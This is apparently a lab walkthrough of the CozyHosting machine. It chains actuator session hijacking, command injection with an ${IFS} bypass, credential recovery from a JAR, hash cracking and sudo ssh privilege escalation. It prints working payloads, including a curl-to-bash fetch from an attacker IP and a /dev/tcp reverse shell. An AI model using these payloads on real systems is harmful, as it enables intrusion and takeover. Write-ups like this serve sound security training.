Overview

CozyHosting is an easy Linux machine that demonstrates how exposed Spring Boot Actuator endpoints can leak active session data. A disclosed JSESSIONID enables session hijacking and access to an administrative dashboard, where command injection provides an initial shell. Hardcoded PostgreSQL credentials inside the application’s JAR file lead to password reuse and SSH access as josh, followed by privilege escalation through a permitted sudo invocation of ssh.

Attack Chain

  • Enumerate the web application and discover exposed Spring Boot Actuator endpoints
  • Retrieve an active JSESSIONID from /actuator/sessions
  • Hijack the kanderson session and access the administrative dashboard
  • Identify command injection in the automatic patching functionality
  • Bypass space filtering with ${IFS} and obtain a shell as app
  • Extract the Spring Boot JAR file and recover PostgreSQL credentials
  • Query the database and crack the stored admin password hash
  • Reuse the password for SSH access as josh
  • Abuse sudo permission for /usr/bin/ssh to spawn a root shell

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify exposed services.

export IP=10.129.5.242; export NAME=COZYHOSTING; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

The discovered ports are exported into a variable and passed to a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

Findings

The scan reveals SSH (22) and an HTTP service on port 80. The web service redirects to cozyhosting.htb, so the hostname is added to /etc/hosts.

echo "$IP cozyhosting.htb" | sudo tee -a /etc/hosts

Web Enumeration

CozyHosting Website

Browsing to port 80 reveals a website for a hosting provider called CozyHosting.

cozyhosting homepage

We use dirsearch to enumerate hidden paths and files.

export PORT=80

dirsearch -u http://cozyhosting.htb/ -t 40 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt

The results include several /actuator endpoints associated with Spring Boot Actuator.

dirsearch actuator endpoints

An /admin endpoint is also discovered, but unauthenticated requests are redirected to /login.

Spring Boot Actuator

Navigating to http://cozyhosting.htb/actuator returns an index of exposed Actuator endpoints. Although the links reference localhost:8080, the same paths are accessible through the public web service.

spring boot actuator index

To make the dirsearch output easier to review, we filter for successful responses and remove entries with a zero-byte response body.

awk '$1 >= 200 && $1 < 300 {print}' scans/dirsearch_${NAME}_${PORT}_default.txt | awk '!/0B/'

The filtered output confirms the exposed Actuator endpoints.

filtered actuator endpoints

The endpoint below is particularly interesting:

http://cozyhosting.htb/actuator/sessions

It exposes an active session belonging to kanderson together with the following session identifier:

5D1DD3D15AD951F1BA088F7E33F3C8D4

Foothold

Session Hijacking

Using the browser’s developer tools, we inspect the cookies stored for cozyhosting.htb. The application uses a JSESSIONID cookie, matching the format of the value disclosed by /actuator/sessions.

jsessionid cookie

We replace the current JSESSIONID value with the session identifier belonging to kanderson, refresh the page, and navigate to /admin.

The stolen session is accepted, giving us authenticated access as K. Anderson.

hijacked admin session

Automatic Patching Functionality

At the bottom of the administrative dashboard is an automatic patching form. It accepts a hostname and username and appears to use SSH with a private key stored in authorized_keys.

automatic patching form

Submitting 127.0.0.1 as the hostname and user as the username returns an SSH-related error.

ssh patching error

The error suggests the backend is constructing a command similar to:

ssh -i id_rsa username@hostname

Command Injection

We test whether the username field can inject an additional command. First, we start a Python web server on the attacking machine.

python3 -m http.server 80

A basic payload containing spaces is submitted:

; curl http://10.10.14.59/test

The application rejects the input because the username value cannot contain spaces.

command injection space error

In Bash and other POSIX-style shells, ${IFS} expands to the Internal Field Separator and can be used in place of a literal space. We update the payload accordingly.

;${IFS}curl${IFS}http://10.10.14.59/test

The updated command is submitted through the patching form.

command injection payload

The Python server receives the request, confirming command execution on the target.

command injection callback

Reverse Shell

Direct msfvenom and Bash one-liner payloads do not return a shell. Instead, we create a small Bash reverse-shell script and host it on the Python web server.

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.59/443 0>&1' > rev443.sh

reverse shell script

A listener is started on port 443. We then use the command injection to download the script with curl and pipe it directly into Bash.

;${IFS}curl${IFS}http://10.10.14.59/rev443.sh|bash;

reverse shell injection payload

The listener receives a shell as the low-privileged app user.

app reverse shell


Lateral Movement

Extracting the Application JAR

Enumerating the current directory reveals the Spring Boot application archive, cloudhosting-0.0.1.jar.

spring boot jar file

A JAR file is a ZIP-compatible archive, so we extract it into the writable /dev/shm directory.

unzip -d /dev/shm/app cloudhosting-0.0.1.jar

extract jar archive

Searching the extracted application files reveals hardcoded PostgreSQL credentials.

postgresql credentials

postgres:Vg&nvzAQ7XxR

PostgreSQL Enumeration

We connect to the local PostgreSQL service using the recovered credentials.

psql -h localhost -U postgres

Authentication succeeds.

postgresql login

From the PostgreSQL prompt, we list the databases, connect to cozyhosting, enumerate its tables, and query the users table.

\list
\connect cozyhosting
\dt
select * from users;

cozyhosting users table

The table contains a password hash for the admin account. We save it to a file on the attacking machine.

saved admin hash

Cracking the Admin Hash

The hash is cracked with john using the rockyou.txt wordlist.

john --wordlist=/usr/share/wordlists/rockyou.txt creds/admin.hash

john admin password

The recovered credentials are:

admin:manchesterunited

Password Reuse as josh

Enumeration of /etc/passwd and /home shows a local user named josh. We test whether the cracked password has been reused for this account.

hydra -l josh -p manchesterunited -f $IP ssh

hydra josh ssh

The credentials are valid:

josh:manchesterunited

We establish an SSH session as josh.

ssh josh@$IP

ssh login as josh

josh shell

The user flag can now be read.

cat /home/josh/user.txt

user flag


Privilege Escalation

Sudo SSH Abuse

We check the commands that josh can execute through sudo.

sudo -l

The output shows that /usr/bin/ssh can be run as root without supplying a password.

sudo permissions

GTFOBins documents a privilege escalation technique that abuses SSH’s ProxyCommand option when the binary can be executed with sudo.

SSH sudo technique on GTFOBins

gtfobins ssh sudo

We execute the following command:

sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x

The injected shell runs with root privileges.

root shell

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

CozyHosting demonstrates how operational endpoints can expose far more information than intended. A publicly accessible Spring Boot Actuator endpoint leaked a valid session cookie, allowing the administrative login to be bypassed entirely. Command injection in the authenticated patching functionality then provided code execution, while hardcoded database credentials inside the application archive exposed a reusable password. The final escalation shows why allowing complex binaries such as ssh through sudo can be equivalent to granting a root shell.